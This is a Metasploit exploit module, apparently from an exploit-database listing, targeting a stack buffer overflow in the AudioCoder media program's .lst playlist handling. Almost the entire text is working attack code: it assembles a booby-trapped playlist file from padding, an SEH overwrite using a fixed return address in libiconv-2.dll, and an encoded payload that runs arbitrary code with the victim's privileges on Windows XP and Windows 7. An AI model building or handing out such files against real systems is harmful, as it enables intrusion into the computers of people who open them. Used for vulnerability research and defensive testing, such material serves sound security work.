AudioCoder (.lst) – Local Buffer Overflow (Metasploit)
require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'AudioCoder .lst Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in Audio Code 0.8.18. The vulnerability occurs when adding an .lst, allowing arbitrary code execution with the privileges of the user running AudioCoder. This module has been tested successfully on AudioCoder 0.8.22 over Windows XP SP3 and Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => [ 'onying', # Vulnerability discovery and PoC 'Asesino04' # Metasploit module ], 'References' => [ [ 'OSVDB', 'N/A' ], [ 'EDB', '26448' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Platform' => 'win', 'Payload' => { 'Space' => 6596, 'BadChars' => "\x00\x5c\x40\x0d\x0a", 'DisableNops' => true, 'StackAdjustment' => -3500, }, 'Targets' => [ [ 'AudioCoder 0.8.22 / Windows XP SP3 / Windows 7 SP1', { 'Ret' => 0x66011b56, # libiconv-2.dll 'Offset' => 765 } ] ], 'Privileged' => false, 'DisclosureDate' => 'juin 01 2013', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.lst']), ], self.class) end def exploit buffer = "http://" buffer << rand_text(target['Offset']) buffer << generate_seh_record(target.ret) buffer << payload.encoded file_create(buffer) end end |